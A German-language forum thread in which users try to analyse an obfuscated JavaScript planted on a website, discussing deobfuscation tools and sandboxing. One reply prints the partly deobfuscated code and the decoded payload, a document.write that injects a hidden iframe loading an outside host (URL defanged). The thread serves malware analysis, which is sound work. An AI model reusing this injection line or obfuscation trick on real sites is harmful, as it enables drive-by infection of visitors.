Analysetool/Sandbox für JS?

[troll (Gast)]

Hallo Experten,

in Beitrag "Psion Organiser II" wurde ein wunderbarer 
Link zu einem bösen JS-Skript gepostet:

>  www[dot]schwitt[dot]de/radiobasteln/index.html (GEFAHR! VIRUS!)

Das Skript sieht so aus

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$]....

und ich wüsste gerne was da passiert.

1. Versuch: Malzilla --> "can't be compiled" ohne weitere Infos
2. Versuch: Per Hand --> Ich hab echt kaum Ahnung von JS, das wird so 
nichts.

Kennt jemand ein Tool was dabei helfen kann diesen Brocken zu 
analysieren? Sowas wie Malzilla aber besser, also ein Interpreter mit 
gutem Debugger und eine Sandbox drumherum?

Gefunden habe ich http://www.relentless-coding.org/projects/jsdetox/info 
aber das läuft nur unter Linux, ich nutze Win XP.

[.... (Gast)]

troll schrieb:
> in Beitrag "Psion Organiser II" wurde ein wunderbarer
> Link zu einem bösen JS-Skript gepostet

Woher nimmst du die Annahme, dass dieses Skript böse ist?

[troll (Gast)]

.... schrieb:
> Woher nimmst du die Annahme, dass dieses Skript böse ist?
aus diesem Beitrag: Beitrag "Re: Psion Organiser II"

[.... (Gast)]

Ist aber seltsamer Code:


Was macht dieses Stück?

$=~[];

Der Variable $ wird ein Wert zugewiesen. Dieser Wert ist bitwise not 
eines leeren Arrays. Verstehe nicht, was das soll...?

[troll (Gast)]

.... schrieb:
> Ist aber seltsamer Code:
Das kannst du aber laut sagen, deshalb interessiert er mich ja. :-)

> $=~[];
Wenn man da ein document.write hintersetzt kommt iirc −2.147.483.648 
raus, also der min. Wert bei 32 Bit signed.

[Läubi .. (laeubi)]

troll schrieb:

$=~[];

Leeres Array anlegen und bitweises invertieren. Sollte das gleiche 
ergeben wie $=~0;

$={

weise nun $ ein Objekt/Hash mit folgenden Eigenschaften zu:

___:++$,
$$$$:(![]+"")[$],
__$:++$,
$_$_:(![]+"")[$],
_$_:++$,
$_$$:({}+"")[$]....

Falls das Skript schädlich ist, und nicht nur Unsinn und/oder 
Obfuscated (die ... sollen wohl sagen es geht noch weiter) hätte ich 
jetzt getippt, das irgendwelche Bufferoverflows oder Browserabstürze 
damit ausgelöst werden sollen.

[troll (Gast)]

Läubi .. schrieb:
> weise nun $ ein Objekt/Hash mit folgenden Eigenschaften zu:
Ja, bis dahin bin ich auch gekommen aber dann wurde es mir zu 
langwierig, ich wäre wohl immernoch am rätseln...
Das Skript ist noch deutlich länger, siehe Link (einfach mit wget laden, 
dann passiert da nichts). Ich tippe darauf dass das Skript einen iframe 
in die Seite schreibt wo dann weiterer Mist geladen wird. Siehe auch 
Heise Security Tatort Internet (sehr zu empfehlen!).

[troll (Gast)]

(Die einfachste(?) Lösung wäre wohl den Kram mal in einer VM auszuführen 
und zu beobachten, aber das schafft mein alter PC nur mit viel Mühe, 
darauf hab ich keine Lust.)

[ich (Gast)]

Machen tut das letztendlich das:

document.write('<div width="600px" height="600px" style="visibility:hidden;"><iframe width="100%" height="100%" src="h*t*t*p*:*/*/f*r.i*n*t*e*g*r*a*b*u*i*l*t*.*u*s*/*d*a*t*a*/*s*e*a*r*c*h*.*p*h*p*?*q*=*s*e*a*r*c*h*"></iframe></div>');

Sternchen durch mich eingefügt, ich hab keine Ahnung was hinter der 
Seite steckt. Alle Versuche auf eigene Gefahr.

[troll (Gast)]

@ich
Danke, mein Verdacht (iframe) bestätigt sich. Der Link geht bei mir 
nicht, host not found, vielleicht liegts an meinem DNS-Server.

Bleibt die große Frage: Wie hast du das rausgefunden?

[ich (Gast)]

Betriebsgeheimnis ;)

erstmal etwas Ordnung reingebracht:

$=~[];
$={
  ___:++$,  //0
  $$$$:(![]+"")[$],  //f
  __$:++$,  //1
  $_$_:(![]+"")[$],  //a
  _$_:++$,  //2
  $_$$:({}+"")[$],  //b
  $$_$:($[$]+"")[$],  //d
  _$$:++$,  //3
  $$$_:(!""+"")[$],  //e
  $__:++$,  //4
  $_$:++$,  //5
  $$__:({}+"")[$],  //c
  $$_:++$,  //6
  $$$:++$,  //7
  $___:++$,  //8
  $__$:++$  //9
};
$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;
$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;
$.$=($.___)[$.$_][$.$_];

Bis dahin kann man das ganz gut z.B. mit der JavaScript Konsole von 
Mozilla Firefox auswerten wenn man nichts besseres hat. Den Rest hab ich 
dann mit eigenen Tools entziffert, geht aber bestimmt mit Handarbeit 
auch in der Javascript-Konsole.

$.$(
  $.$(
    //Ewig viel Zeugs, das auch nur wieder einen langen string zusammensetzt wie oben.
  )()
)();

[ich (Gast)]

Sorry wegen Doppelpost...

Hab was unterschlagen... Streng genommen macht das Script im Orginal gar 
nichts, weil nämlich aus irgend einem Grund ein paar Backslash verloren 
gegangen sind... Aber würde es funktionieren würde es das machen.

[DirkB (Gast)]

ganz nett:
jsunpack.jeek.org/?report

[troll (Gast)]

ich schrieb:
> Bis dahin kann man das ganz gut z.B. mit der JavaScript Konsole von
> Mozilla Firefox auswerten wenn man nichts besseres hat.
Gute Idee, wäre mir allerdings zu unsicher sofern das nicht in einer VM 
läuft. Auch in FF gibt es ab und zu Sicherheitslücken und wer weiß was 
sich die bösen Schreiberlinge so ausgedacht haben...

Auf jeden Fall hast du mehr Ahnung von JS als ich (was auch nicht weiter 
schwer ist...), das ist natürlich schon mal ein großer Vorteil!

DirkB schrieb:
> ganz nett:
> jsunpack.jeek.org/?report
Ach ja, das wurde auch bei Heise Security verlinkt. Scheint das 
Skript/die Seite aber nicht für verdächtig zu halten oder verstehe ich 
das falsch?
http://jsunpack.jeek.org/?report=125e3886caa27582225bafbf4ca7d1cf16b7036e
http://jsunpack.jeek.org/?report=b28c00776e02067713d7fb2c74036590a81d9906

[troll (Gast)]

Sorry - ich war zu schnell.
troll schrieb:
> Scheint das
> Skript/die Seite aber nicht für verdächtig zu halten oder verstehe ich
> das falsch?
Was wohl hier dran liegen dürfte:
>Streng genommen macht das Script im Orginal gar
>nichts, weil nämlich aus irgend einem Grund ein paar Backslash verloren
>gegangen sind...